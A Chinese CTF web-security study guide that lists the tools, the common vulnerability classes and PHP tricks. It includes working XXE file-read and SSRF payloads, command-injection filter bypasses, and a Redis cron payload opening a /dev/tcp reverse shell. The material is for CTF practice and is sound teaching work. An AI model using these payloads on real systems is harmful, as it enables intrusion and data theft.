CTF | Web安全 Part1:基礎知識
這應該是一個系列的文章,主要講述的是CTF中的Web內容。
當然,對於作者這種CTF中Loser,這個系列的文章與其說是總結梳理,不如說是預習筆記。
最後的一年半,不知道以後還能在這些沒用的東西上搞多久······
01 CTF Web介紹
CTF中的Web題型,就是給定一個Web網站,選手要根據題目所提示的資訊,找到網站上的flag字串。
做題的方法類似於滲透測試,但通常不會是一個完整的滲透測試,而是用到滲透測試中的某一個或某幾個環節。可能涉及資訊蒐集、各類漏洞發現與利用、許可權提升等等。
為了獲取flag,可能需要拿到管理員許可權,資料庫許可權,甚至獲取網站所在伺服器的許可權。
一、所需知識
- 語言:PHP、Python、JavaScript...
- 資料庫:MySQL、MSSQL...
- 伺服器:Apache、Nginx...
- Web框架:ThinkPHP、Flask...
- 語言特性:弱型別、截斷...
- 函式特性:is_numeric、strcmp、eregi...
1.HTTP抓包/改包
- 首先要知道HTTP請求、響應流程,詳細瞭解可以參考《HTTP權威指南》。(很厚的一本書,大牛們愛用這本書裝B,Web領域的“九陽真經”,把這本書啃下來就是張無忌了,可是大多數人包括我在內總想練速成的“葵花寶典”)
- 瀏覽器外掛(Firefox):個人覺得 F12 + Hackbar就夠了,而且最新的Firefox將 F12和Hackbar 整合到了一起,用起來很順手。
- 工具:burpsuite神器,工具是好但是小白用起來可能需要一些時間去專門學習和熟悉。 下載地址、 FreeBuf教程、 i春秋教程
2.Web前端
- HTML+CSS+JavaScript:前端三劍客,學這個很輕鬆,很容易在信安的路上越走越偏,然後變成前端開發者。
- 編碼:url編碼、html編碼、js編碼,可以參考這篇文章。
- Cookie,快取
- 跨域問題,CSP策略
3.Web後端
- PHP:官方文件
- Python:廖雪峰Python教程、官方文件
- PHP框架:ThinkPHP、Yii
- Python框架:Flask、Tornado、Django
- Go框架:beego
- Session
4.資料庫和伺服器
- 瞭解常見資料庫及區別:MySQL、Oracle、MongoDB
- 資料庫操作:基本語句、檔案讀取、寫入、許可權、dnslog
- 伺服器:配置主流伺服器,Apache、Nginx
- 快取引擎:Redis、Memcached
5.Linux
- shell
- Lua
- Docker
6.常見web漏洞
XSS | 檔案包含/上傳 |
SQL隱碼攻擊 | 反序列化 |
CSRF | 未授權訪問 |
SSRF | 目錄遍歷 |
命令執行 | 業務邏輯漏洞 |
XEE |
7.工具
- sqlmap
- Burpsuite
- Hackbar
- Proxy SwitchyOmega(瀏覽器代理外掛)
- AWVS (web漏洞掃描)
- Kali(黑客的專屬系統)
二、題目型別
1.築基(入門題目)
- 檢視頁面原始碼,flag在註釋裡
- 檢視HTTP請求/響應包,flag在cookie、響應頭中
- 備份檔案(.bak,.swp,.swo)洩露
- 根據提示修改請求頭(User-Agent、X-Forwarded-For)
- JSFuck
(1)例子
HCTF2016 Web1:2099年的flag
根據提示:
only ios99 can get flag(Maybe you can easily get the flag in 2099)
猜測可能需要改造UA。
將User-Agent
修改為Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1
,這個需要對照Safari瀏覽器發出的UA進行修改。
(2)檔案洩露總結
備份檔案:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
原始碼壓縮包:www.zip、root.zip、web.zip
git / svn洩露:
git洩露:www.xxx.com/.git/config,之後使用工具GitHack可以獲取原始碼python GitHack.py URL/.git
svn洩露:www.xxx.com/.svn/entries,利用工具dvcs-ripper獲取原始碼其它檔案洩露:
.idea目錄洩露:(使用了IntelliJ IDEA的工程,可洩露目錄結構),詳情可看這裡
.DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
.pyc檔案:(python編譯後的位元組碼檔案)
(3)請求修改、重放
這裡主要用好Burpsuite、瀏覽器F12就夠了,Firefox上的Hackbar也很方便,工具再多也沒用。
(4)JSFuck
經過JSFuck編碼後的JavaScript程式碼,要檢視其執行結果非常簡單,直接在頁面中進行呼叫即可,或者在Chrome瀏覽器的開發者工具中的Console中執行即可。
2.結丹(常規題目)
- 一個存在漏洞的網站
- 拿到資料庫上的flag(SQL隱碼攻擊)
- 拿到伺服器上的flag(命令執行、檔案上傳)
- 拿到管理員的cookie,flag在cookie裡(XXE)
- 其它的一些漏洞利用(條件競爭、SSRF、XXE)
(1)SQL隱碼攻擊
實驗吧:
簡單的sql注入
簡單的sql注入2
簡單的sql注入3
(2)XXE
後端獲取一個xml文件
<? php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
讀取本地檔案
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
SSRF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY url SYSTEM "http://zzm.cat:8080">]>
<root>&url;</root>
3.元嬰(困難題目)
- 漏洞綜合利用(e.g. 注入+SSRF+反序列化)
- 少見的姿勢(e.g. 字元命令執行)
- 少見的語言(Ruby、Perl)
例子:
HITCON2017:
babyfirst-revenge
babyfirst-revenge-v2
02 CTF Web技巧
一、PHP弱型別
弱等於號 " == "
false==""==0==NULL //true
"admin1"==0 //true
"1admin"==1 //true
"0e123456"=="0e4456789" //true
"0x1e240"=="123456" //true
0=="0e4456789" //true
[false]==[0] //true
"0x1e240"=="123456"==123456 //true
例題
<?php
$flag = "xxxx";
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b']))
{
echo "Flag: ".$flag;
}
可以看一下這篇文章,從中可以得知所有"0e"加純數字的字串均相互弱等於,及提交a=s878926199a
和b=s155964671a
即可
md5("s878926199a") =>
"0e545993274517709034328855841020"
md5("s155964671a") =>
"0e342768416822451524974117254469"
二、PHP函式
型別轉換
md5(['a'])===md5(['b']) //對陣列MD5會返回NULL
strcmp([], 'a')===NULL //PHP>5.3版本陣列和字串比較返回NULL
in_array('abc', [0])===true //'abc'會被強制型別轉換
is_numeric('0e1')===true //科學計數法
in_array('abc', [0,1,2])===true //比較時會使用若等於('abc'==0)
正規表示式(ereg/eregi)
- 字串對比解析,當ereg讀取字串string時,%00後面的字串不會被解析。
這裡a=abcd%001234
,可繞過
<?php
if (ereg("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
echo 'You password must be alphabet';
}
?>
- 如果傳入陣列,ereg返回NULL
三、變數覆蓋
extract()
extract()函式從陣列中把變數匯入到當前的符號表中。
對於陣列中的每個元素,鍵名用於變數名,鍵值用於變數值。
例如傳入auth=1,則會列印出"private!"
<?php
$auth='0';
// 這裡可以覆蓋變數$auth的變數值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
parse_str()
parse_str()的作用是解析字串,並註冊成變數。與parse_str()類似的函式還有 mb_parse_str(),parse_str() 將字串解析成多個變數,如果引數 str 是 URL 傳遞入的查詢字串(query string),則將它解析為變數並設定到當前作用域。
<?php
//var.php?var=new
$var='init';
parse_str($_SERVER['QUERY_STRING']);
// $var 會變成 new
echo $var;
?>
$$
$$會把變數本身的 key 當做名字,value 當做變數值
<?php
$_CONFIG['extraSecure'] = true;
// http://127.0.0.1/index.php?_CONFIG=123
foreach(array('_GET', '_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 這個函式會把 $_CONFIG 變數銷燬
unset($$key);
}
}
if ($_CONFIG['extraSecure'] == false){
echo 'flag{****}';
}
?>
練習
實驗吧 天網管理系統
四、命令執行
PHP中執行系統命令的函式
system: system("whoami");
eval: eval("phpinfo();");
assert: assert("phpinfo()");
exec: echo exec("whoami");
passthru: passthru("whoami");
shell_exec: echo shell_exec("whoami");
Bypass空格過濾
<符號cat<flag
$IFS符號cat${IFS}flag
cat$IFS"flag"
製表符cat flag
命令分隔符
| 符號
amber@MAC:~/$ echo 1|echo 2
2
; 符號
amber@MAC:~/$ echo 1;echo 2
1
2
&&符號
amber@MAC:~/$ echo 1 && echo 2
1
2
利用$(),``執行命令
$(),``會將字串當做命令執行,並返回結果
amber@MAC:~/$ echo $(whoami)
amber
amber@MAC:~/$ echo `whoami`
amber
結合printf使用,可以繞過一些限制
amber@MAC:~/$ $(printf$IFS"\167\150\141\155\151")
amber
amber@MAC:~/$ $(printf$IFS"\x77\x68\x6f\x6d\x69")
amber
練習
http://web.jarvisoj.com:32798/
五、SSRF技巧
SSRF介紹
伺服器獲取使用者傳入的url,並訪問,如果不加過濾,可能導致內網探測、檔案讀取、攻擊內網服務等
<?php
// e.g. url=http://10.10.10.1
// e.g. url=file://etc/passwd
// e.g. url=dict://127.0.0.1:80
$ch = curl_init($_GET['url']);
echo curl_exec($ch);
curl_close($ch);
?>
常出現在離線下載,站長工具,遠端頭像上傳等功能中
SSRF攻擊
SSRF檔案讀取,內網探測
file:///etc/passwd
dict://127.0.0.1:3306
SSRF攻擊內網服務(redis為例)
修改dbfilename,將反彈shell的命令寫入定時任務
set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ 127.0.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
SSRF防禦
過濾傳入url的host(有沒有問題?)
<?php
function isLocal($ip){
$long=ip2long($ip);
$data=array(24=>'10.255.255.255',20=>'172.31.255.255',16=>'192.168.255.255');
foreach ($data as $k => $v) {
if ($long >> $k === ip2long($v)>>$k) {
return true;
}
}
}
$url = $_GET['url'];
$host = parse_url($url)['host'];
if (isLocal(gethostbyname($host))) die();
$ch = curl_init($url);
echo curl_exec($ch);
cuel_close($ch);
?>
parse_url和curl解析差異
IP雙重繫結:如果同一個域名繫結了兩個IP,那麼PHP中的gethostname會隨機返回一個。
但是curl在訪問這種域名的時候,由於繫結的是兩個IP,curl會嘗試訪問每一個IP,最終返回有效的那個
六、反序列化
介紹
陣列序列化
原陣列:['a'=>'str', 'b'=>1, 'c'=>false]
序列化後:a:3:{s:1:"a";s:3:"str";s:1:"b";i:1;s:1:"b";i:1;s:1:"c";b:0;}
物件序列化
對於PHP中的類C,屬性data="abc"
會被序列化為不同的形式(%00代表空字元)
Public屬性:s:4:"data";s:3:"abc"
Private屬性:s:7"%00C%00data";s:3:"abc"
Protected屬性:s:7"%00*%00data";s:3:"abc"
其它資料型別
String(字串):s
Integer(整型):i
Bool(Bool型):b
NULL:N
Array(陣列):a
Object(物件):o
魔術方法
__construct方法在物件誕生時呼叫,一般用來為成員屬性賦初值
function __construct($name="amy", $sex="male", $age=20)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
__destruct方法在物件銷燬時呼叫
class C{
public function __destruct() {
echo "The object is destructed.";
}
}
__toString方法在列印物件時呼叫
class C{
public function __toString()
{
return "This is C";
}
}
__sleep方法在物件序列化時呼叫
class C{
public function __sleep() {
echo "serialized";
}
}
$c = new C;
serialize($c);
__wakeup方法在物件反序列化時呼叫
class C{
public function __wakeup() {
echo "unserialized";
}
}
unserialize('0:1:"c":0:{}');
__call方法在試圖呼叫一個無法訪問(不存在、無許可權)的方法時呼叫
class C{
public function __call($name, $arguments) {
echo "called";
}
}
$c = new C;
$c->a();
PHP中可以利用的內建類
SoapClient(__call方法呼叫時導致SSRF)
$a = new SoapClient(null,array('uri'=>'http://xxx.cat8080',
'location'=>'http://xxx.cat:8080'));
$b = serialize($a);
$c = unserialize($b);
$c->a();
Directorylterator(__construct方法呼叫時導致列目錄)
$c = new DirectoryIterator(".");
foreach($c as $cc) {
echo $cc,"</br>";
}
練習
相關文章
- CTF—web基礎Web
- Web測試基礎-Html基礎知識WebHTML
- Web前端基礎知識整理Web前端
- 網路安全基礎知識
- 【網路安全基礎】常見的Web安全攻防知識點總結!Web
- WEB網路滲透的基礎知識Web
- 《Web 自動化》基礎知識腦圖Web
- 無線網路安全——1、WiFi安全基礎知識WiFi
- 基礎知識
- Web安全基礎Web
- 網站安全相關的基礎知識網站
- ASP.NET程式安全的基礎知識ASP.NET
- CTF—Misc基礎
- CTF—Crypto基礎
- 滲透測試基礎知識---nginx安全配置Nginx
- JAVA基礎知識系列---程式、執行緒安全Java執行緒
- JAVA基礎知識系列—程式、執行緒安全Java執行緒
- AI 基礎知識AI
- Webpack 基礎知識Web
- Dart基礎知識Dart
- RabbitMQ基礎知識MQ
- webpack基礎知識Web
- javascript基礎知識JavaScript
- ThinkPHP基礎知識PHP
- Laravel基礎知識Laravel
- Redis基礎知識Redis
- Docker基礎知識Docker
- 程式基礎知識
- Envoy基礎知識
- DockerFile基礎知識Docker
- Nginx基礎知識Nginx
- CSS基礎知識CSS
- Java基礎知識Java
- PRML 基礎知識
- BGP基礎知識
- PHP基礎知識PHP
- React基礎知識React
- httpclient基礎知識HTTPclient